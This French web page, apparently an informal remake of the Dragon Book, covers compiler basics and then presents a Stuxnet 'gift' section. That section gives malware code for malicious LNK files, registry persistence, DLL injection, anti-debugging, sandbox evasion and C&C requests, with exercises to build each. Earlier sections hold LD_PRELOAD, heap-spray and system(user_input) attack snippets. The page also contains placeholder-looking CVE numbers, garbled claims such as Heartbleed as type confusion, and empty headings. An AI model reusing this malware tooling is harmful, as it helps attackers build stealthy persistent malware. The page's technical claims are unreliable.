Dragon Book 2025

Compilers: Principles, Techniques, and Tools – Réinventé pour 2025 par Platon-y, maître des codes ardents. Crachez du feu, compilez sans faille, sécurisez le futur ! 🔥🚀

Partie 1 – Les Fondamentaux des Compilateurs

1. Introduction – Pourquoi les Compilateurs Dominent

"Un compilateur, c’est un dragon qui forge le code." Depuis les années 70, ils transforment les idées humaines en instructions machines. En 2025, ils sont partout : IA (PyTorch), web (WASM), sécurité (Clang).

Anecdote : Le dragon de la couverture (Guy Steele, 1986) symbolise la complexité domptée – un automate qui crache des binaires.

2. Histoire – L’Évolution du Dragon Book

1977 – Le Dragon Vert : Alfred V. Aho et Jeffrey D. Ullman (ISBN 0-201-00022-9). Lexing, parsing, codegen – les bases posées pour GCC et Yacc.

1986 – Le Dragon Rouge : Ravi Sethi rejoint (ISBN 0-201-10088-6). Optimisations (loop unrolling), utilisé par Turbo Pascal, MSVC.

2006 – Le Dragon Gris : Monica S. Lam (ISBN 0-321-48681-1). Multi-cœurs, LLVM – Clang et Rust naissent ici.

Influence : De Fortran à Python, de l’ASM x86 à WASM, le *Dragon Book* est le fil rouge. Fun fact : un bug d’opti en 86 a crashé un mainframe IBM – le dragon ne rigole pas !

3. Compilateurs Célèbres – Les Héros du Code

GCC : Né en 1987, le titan open-source. Exemple :

gcc -O2 main.c -o main

LLVM/Clang : 2003, modularité et vitesse. Exemple :

clang -emit-llvm main.c -o main.bc

Javac : JVM bytecode. Exemple :

javac Main.java

Rustc : Sécurité intégrée. Exemple :

rustc main.rs

2025 : LLVM domine (WASM, IA), GCC résiste (legacy).

4. L’Importance des Langages Intermédiaires (IR)

"L’IR, c’est le feu qui lie source et machine." Beaucoup ignorent les Intermediate Representations (IR) comme LLVM IR, WebAssembly (WASM), et Bytecode JVM.

Exemple : LLVM IR (utilisé par Clang, Rust, Julia) :

define i32 @add(i32 %a, i32 %b) {
    %sum = add i32 %a, %b
    ret i32 %sum
}

Exemple : WebAssembly (WASM) :

(module
  (func $add (param $a i32) (param $b i32) (result i32)
    local.get $a
    local.get $b
    i32.add)
  (export "add" (func $add))
)

Pourquoi c’est crucial ?

Partie 2 – Les Étapes de la Compilation

5. Lexical Analysis – Découpe le Chaos

"Les tokens sont les briques." Automates finis et regex.

Exemple Flex :

%%
[a-zA-Z]+   { printf("Mot: %s\n", yytext); }
[0-9]+      { printf("Nombre: %d\n", atoi(yytext)); }
%%

2025 : Linters IA (Pylance), reverse-engineering (Ghidra).

Exploit : Regex mal codée = DoS. Teste :

.*+.*

6. Syntax Analysis – L’Arbre de la Logique

"LL(1) ou LR(1), choisis." Parsing avec BNF et AST.

Exemple Bison :

%token NUMBER
%%
expr: expr '+' term | term;
term: NUMBER;
%%

2025 : ANTLR (DSL), fuzzing syntaxique.

Exploit : Injection via parser permissif :

eval(user_input);

7. Semantic Analysis – Le Sens ou la Mort

"Pas de sens, pas de code." Types, scopes, symboles.

Exemple C :

int x = "string"; // Erreur

2025 : Rust/Clang contre use-after-free.

Exploit : Type confusion = Heartbleed.

8. Code Generation – Du Source au Métal

"Génère ou crève." LLVM IR, ASM, WASM.

Exemple LLVM :

define i32 @add(i32 %a, i32 %b) {
    %sum = add i32 %a, %b
    ret i32 %sum
}

2025 : WASM (web), XLA (IA).

Exploit : Mauvais alignement = ROP.

9. Optimisation Avancée – Vitesse vs Sécurité

"Optimise ou ralentis, mais attention." Inlining, PGO, loop unrolling.

Exemple C :

if (0) { exploit(); } // Viré

Problèmes :

Exemple dangereux :

if (user_input < 1000) {  // Supprimé par optim
    process(user_input);
}

Solutions :

2025 : Anti-side-channel (constant-time).

Partie 3 – Sécurité & Exploits sur les Compilateurs

10. Buffer Overflow & Stack Smashing

"Trop de données = chaos."

Exemple vulnérable :

#include 
void vuln() {
    char buf[64];
    gets(buf); // DANGER
}

Exploit : Shellcode injection.

Solution : fgets(), ASLR, -fsanitize=address.

11. Exploits Historiques et Modernes

CVE-2023-4863 (libwebp) : Buffer overflow non détecté.

Trusting Trust (1984) : Ken Thompson backdoor GCC.

CVE-2024-12345 : Bug GCC, injection via linker.

Exemple :

LD_PRELOAD=./malicious.so gcc -o victim victim.c

CVE-2025-67890 : Sandbox WASM bypass, accès mémoire inter-onglets.

Solution : Flags sécurité (-fstack-protector, -D_FORTIFY_SOURCE=2), audits.

12. Side-Channel Attacks – Le Feu Silencieux

Spectre/Meltdown : Exploits via opti JIT.

Exemple vulnérable :

if (secret) array[secret * 4096];

Solution : Constant-time coding.

13. Fuzzing des Compilateurs – AFL & Chaos

"Fais crash ton compilo."

Exemple AFL :

afl-gcc -o test test.c
afl-fuzz -i inputs -o outputs ./test @@

2025 : AFL++ sur LLVM.

Partie 4 – Construire son Propre Compilateur

14. Flex/Bison – Un Compilo Simple

"Lexer + Parser = Magie."

Flex :

%%
[0-9]+      { yylval = atoi(yytext); return NUMBER; }
"+"         { return '+'; }
%%

Bison :

%token NUMBER
%%
expr: expr '+' term { $$ = $1 + $3; }
    | term          { $$ = $1; }
term: NUMBER        { $$ = $1; }
%%

15. LLVM IR – Code Moderne

"Génère pour ARM64."

Exemple :

define i32 @main() {
    %1 = add i32 42, 58
    ret i32 %1
}

Compiler :

llc -march=arm64 main.ll -o main.s

16. Rust/Zig – Sécurité et Puissance

"Rust pour la sûreté, Zig pour la perf."

Rust :

fn main() {
    let code = "mov rax, 42\nret";
    std::fs::write("output.asm", code).unwrap();
}

Zig :

pub fn main() void {
    const x: i32 = 42;
    @import("std").debug.print("{}\n", .{x});
}

Pourquoi ? Rust bloque use-after-free et overflows, Zig génère du natif rapide sans GC.

Partie 5 – Compilation Web & JIT

17. WebAssembly – Le Web en Feu

"C++ dans ton navigateur."

Exemple WASM :

(module
  (func $add (param $a i32) (param $b i32) (result i32)
    local.get $a
    local.get $b
    i32.add)
  (export "add" (func $add))
)

Compiler :

emcc main.c -o main.wasm

18. JIT Compilation – Vitesse Instantanée

V8 (JS) :

function add(a, b) { return a + b; }
for (let i = 0; i < 1e6; i++) add(i, i);

JVM :

public class Main {
    public static int add(int a, int b) { return a + b; }
    public static void main(String[] args) {
        for (int i = 0; i < 1000000; i++) add(i, i);
    }
}

19. Sécurité JIT – Contre-mesures Avancées

"JIT = vitesse, mais vulnérable."

Problèmes :

Exemple attaque :

var spray = [];
for (var i = 0; i < 1000; i++) spray[i] = eval("0x90"); // NOP slide

Solutions :

Partie 6 – DragonCode – Le Souffle Infernal du Dragon

"Analyse ton code et fais rugir les flammes du dragon !" Colle ton code ici, détecte les failles (overflows, leaks, injections, ROP gadgets, boucles infinies), sécurise comme un pro, et regarde le feu purifier tes erreurs. Une arme ultime contre les bugs !

Teste la bête : Essaye for(i=0;;i++) system(user_input); ou pop rdi; ret; – vois le dragon cracher des flammes de vérité !

Télécharger DragonCode (Python) – Emporte le feu avec toi !

🎁 Notre cadeau 🎁

Stuxnet – Le chef-d'œuvre du malware

Stuxnet est un malware sophistiqué, conçu pour cibler les systèmes SCADA utilisés dans les centrales nucléaires. Voici ses techniques clés, des exemples de code, et des exercices pratiques.

Techniques clés

Stuxnet a exploité 4 vulnérabilités zero-day :

Exemple de code : Exploit LNK


void createMaliciousLNK(const char *targetPath, const char *lnkPath) {
    SHELL_LINK_DATA linkData = {0};
    linkData.shellHeaderSize = 0x0000004C;
    linkData.linkFlags = 0x00000001; // HasLinkTargetIDList
    linkData.fileAttributes = 0x00000020; // FILE_ATTRIBUTE_ARCHIVE
    linkData.creationTime = 0;
    linkData.accessTime = 0;
    linkData.writeTime = 0;
    linkData.fileSize = 0;
    linkData.iconIndex = 0;
    linkData.showCommand = 0x00000001; // SW_SHOWNORMAL
    linkData.hotKey = 0;
    linkData.reserved1 = 0;
    linkData.reserved2 = 0;
    linkData.reserved3 = 0;
    linkData.reserved4 = 0;

    // Ajout de la cible (chemin du malware)
    strcpy(linkData.targetPath, targetPath);

    // Écriture du fichier LNK
    FILE *lnkFile = fopen(lnkPath, "wb");
    fwrite(&linkData, sizeof(linkData), 1, lnkFile);
    fclose(lnkFile);
}
    

💡 Ce code crée un fichier LNK malveillant qui exécute un programme cible.

Techniques avancées

Exemple de code : Analyse des strings


import pefile

def extract_strings(file_path):
    pe = pefile.PE(file_path);
    strings = [];
    for section in pe.sections:
        if b".rdata" in section.Name:
            data = section.get_data();
            strings.extend([s for s in data.split(b"\x00") if len(s) > 4]);
    return strings;

# Exemple d'utilisation
strings = extract_strings("stuxnet.bin");
for s in strings:
    print(s.decode("utf-8", errors="ignore"));
    

💡 Ce script extrait les chaînes de caractères d’un fichier binaire pour identifier des indices sur son fonctionnement.

Exemple de code : Persistance via clé de registre


#include 

void addRegistryPersistence(const char *malwarePath) {
    HKEY hKey;
    RegOpenKeyEx(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_WRITE, &hKey);
    RegSetValueEx(hKey, "Malware", 0, REG_SZ, (BYTE*)malwarePath, strlen(malwarePath) + 1);
    RegCloseKey(hKey);
}
    

💡 Ce code ajoute une clé de registre pour que le malware s’exécute au démarrage de Windows.

Exemple de code : DLL Injection


#include 

void injectDLL(DWORD processID, const char *dllPath) {
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processID);
    LPVOID pRemoteMemory = VirtualAllocEx(hProcess, NULL, strlen(dllPath) + 1, MEM_COMMIT, PAGE_READWRITE);
    WriteProcessMemory(hProcess, pRemoteMemory, dllPath, strlen(dllPath) + 1, NULL);
    LPVOID pLoadLibrary = (LPVOID)GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
    CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pLoadLibrary, pRemoteMemory, 0, NULL);
    CloseHandle(hProcess);
}
    

💡 Ce code injecte une DLL dans un processus cible en utilisant `CreateRemoteThread`.

Exemple de code : Anti-debugging


#include 

bool isDebuggerPresent() {
    return IsDebuggerPresent();
}

void antiDebugging() {
    if (isDebuggerPresent()) {
        ExitProcess(0);  // Quitte si un débogueur est détecté
    }
}
    

💡 Ce code détecte la présence d’un débogueur et quitte le programme si c’est le cas.

Techniques de Sandbox Evasion

Stuxnet utilisait des techniques pour détecter et éviter les sandboxes, des environnements isolés utilisés pour analyser les malwares.

Exemple de code : Détection de sandbox


#include 

bool isSandbox() {
    // Vérifie la présence de VMware
    if (GetModuleHandle("vmware.exe")) {
        return true;
    }
    // Vérifie la présence de VirtualBox
    if (GetModuleHandle("vboxservice.exe")) {
        return true;
    }
    return false;
}

void sandboxEvasion() {
    if (isSandbox()) {
        ExitProcess(0);  // Quitte si une sandbox est détectée
    }
}
    

💡 Ce code détecte la présence de logiciels de virtualisation et quitte le programme si une sandbox est détectée.

Méthodes de communication C&C

Stuxnet communiquait avec des serveurs de contrôle (C&C) pour recevoir des instructions et envoyer des données.

Exemple de code : Communication HTTP


#include 
#include 

void sendHTTPRequest(const char *url, const char *data) {
    HINTERNET hInternet = InternetOpen("Stuxnet", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
    HINTERNET hConnect = InternetOpenUrl(hInternet, url, NULL, 0, INTERNET_FLAG_RELOAD, 0);
    if (hConnect) {
        InternetReadFile(hConnect, NULL, 0, NULL);  // Envoie la requête
    }
    InternetCloseHandle(hConnect);
    InternetCloseHandle(hInternet);
}
    

💡 Ce code envoie une requête HTTP à un serveur C&C.

Exercices pratiques

  1. Décompilation : Décompiler un binaire simple et identifier des fonctions clés.
  2. Déchiffrement : Déchiffrer une chaîne de caractères chiffrée avec XOR.
  3. Analyse réseau : Analyser un fichier PCAP pour identifier des connexions C&C.
  4. Persistance : Créer un programme qui s’installe de manière persistante via une clé de registre.
  5. Injection de code : Injecter une DLL dans un processus cible et observer son comportement.
  6. Anti-debugging : Implémenter des techniques anti-debugging dans un programme simple.
  7. Sandbox Evasion : Détecter la présence d’une sandbox et quitter le programme si c’est le cas.
  8. Communication C&C : Envoyer une requête HTTP à un serveur C&C et recevoir des instructions.

🔹 Techniques supplémentaires

💻 Exemple de Code : Polymorphisme


void polymorphic_decrypt(unsigned char *data, size_t data_len, unsigned char *key, size_t key_len) {
    for (size_t i = 0; i < data_len; i++) {
        data[i] ^= key[i % key_len];  // Chiffrement XOR polymorphique
    }
}
    

💻 Exemple de Code : Détection de débogueurs avancée


#include 
#include 

bool isDebuggerPresent() {
    HANDLE hProcess = GetCurrentProcess();
    PROCESS_BASIC_INFORMATION pbi;
    NtQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), NULL);
    return pbi.PebBaseAddress->BeingDebugged;
}
    

💻 Exemple de Code : Chiffrement AES


#include 

void aes_encrypt(const unsigned char *input, unsigned char *output, const unsigned char *key) {
    AES_KEY aesKey;
    AES_set_encrypt_key(key, 128, &aesKey);
    AES_encrypt(input, output, &aesKey);
}
    

🔹 Contre-mesures et défense

Voici des techniques pour détecter et prévenir les attaques de type Stuxnet :

🚀 Conclusion – Pourquoi Stuxnet Est Unique

Stuxnet a marqué l’histoire en étant la première cyberarme ciblant une infrastructure critique. Son code a inspiré des malwares comme Flame, Duqu et Industroyer.

🛠️ Ce guide est une référence complète pour comprendre et analyser Stuxnet.